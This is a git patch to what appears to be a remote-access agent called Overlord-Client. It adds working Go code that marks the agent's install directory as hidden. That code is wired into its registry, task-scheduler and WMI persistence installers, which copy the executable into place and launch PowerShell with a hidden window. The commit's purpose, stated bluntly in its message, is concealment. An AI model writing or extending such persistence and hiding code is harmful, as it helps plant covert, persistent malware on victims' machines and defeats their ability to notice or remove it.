From 38e5f42bafd1fc643cef26a841955421ba2aafb3 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Fri, 3 Apr 2026 10:33:24 -0500 Subject: [PATCH] make shit hidden --- .../cmd/agent/persistence/persistence_windows.go | 12 ++++++++++++ .../persistence/persistence_windows_registry.go | 1 + .../persistence/persistence_windows_taskscheduler.go | 1 + .../cmd/agent/persistence/persistence_windows_wmi.go | 1 + 4 files changed, 15 insertions(+) diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows.go b/Overlord-Client/cmd/agent/persistence/persistence_windows.go index d328a07..fdbe55a 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows.go @@ -167,6 +167,18 @@ func deriveWMINames(targetPath string) (filterName, consumerName string) { return prefix + "f" + suffix, prefix + "c" + suffix } +func tryHideDirectory(dir string) { + ptr, err := syscall.UTF16PtrFromString(dir) + if err != nil { + return + } + attrs, err := syscall.GetFileAttributes(ptr) + if err != nil { + return + } + _ = syscall.SetFileAttributes(ptr, attrs|syscall.FILE_ATTRIBUTE_HIDDEN) +} + func runPowerShell(script string) error { cmd := exec.Command("powershell.exe", "-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden", diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_registry.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_registry.go index af2993d..73938cd 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows_registry.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_registry.go @@ -27,6 +27,7 @@ func installRegistryFull(exePath string) error { if err := os.MkdirAll(dir, 0755); err != nil { return fmt.Errorf("failed to create directory: %w", err) } + tryHideDirectory(dir) if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) { if err := replaceExecutable(exePath, targetPath); err != nil { return err diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go index 84aac28..00fe07f 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go @@ -24,6 +24,7 @@ func installTaskSchedulerFull(exePath string) error { if err := os.MkdirAll(dir, 0755); err != nil { return fmt.Errorf("failed to create directory: %w", err) } + tryHideDirectory(dir) if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) { if err := replaceExecutable(exePath, targetPath); err != nil { return err diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_wmi.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_wmi.go index de4c20a..a3abb1b 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows_wmi.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_wmi.go @@ -24,6 +24,7 @@ func installWMIFull(exePath string) error { if err := os.MkdirAll(dir, 0755); err != nil { return fmt.Errorf("failed to create directory: %w", err) } + tryHideDirectory(dir) if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) { if err := replaceExecutable(exePath, targetPath); err != nil { return err